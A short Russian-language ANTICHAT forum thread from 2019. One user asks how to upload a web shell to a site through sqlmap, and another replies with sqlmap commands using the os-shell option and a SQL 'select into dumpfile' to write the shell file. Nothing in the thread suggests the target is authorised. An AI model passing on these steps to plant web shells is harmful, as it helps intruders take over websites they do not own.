HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 04.08.2019, 14:04
Groove
Участник форума
Регистрация: 13.11.2010
Сообщений: 184
С нами: 8155766

Репутация: 2
По умолчанию

Подскажите как залить shell через sqlmap ?

Код:
sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell
Выдало

Код:
[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>
Что делать дальше? Если можно прям подробно )
 
Ответить с цитированием

  #2  
Старый 04.08.2019, 15:05
BabaDook
Познавший АНТИЧАТ
Регистрация: 09.05.2015
Сообщений: 1,066
С нами: 5797046

Репутация: 40


По умолчанию

Цитата:
Сообщение от Groove  

Подскажите как залить shell через sqlmap ?
Код:
sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell
Выдало
Код:
[12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell>
Что делать дальше? Если можно прям подробно )
Ну, первое sqlmap.py -u https://site.ru --random-agent os-shell дальше указываешь архитектуру, и путь до папки записи.

или если твой вариант sqlmap.py -u https://site.ru --random-agent --sql-shell "select into dumpfile '''путь до шелла'"
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.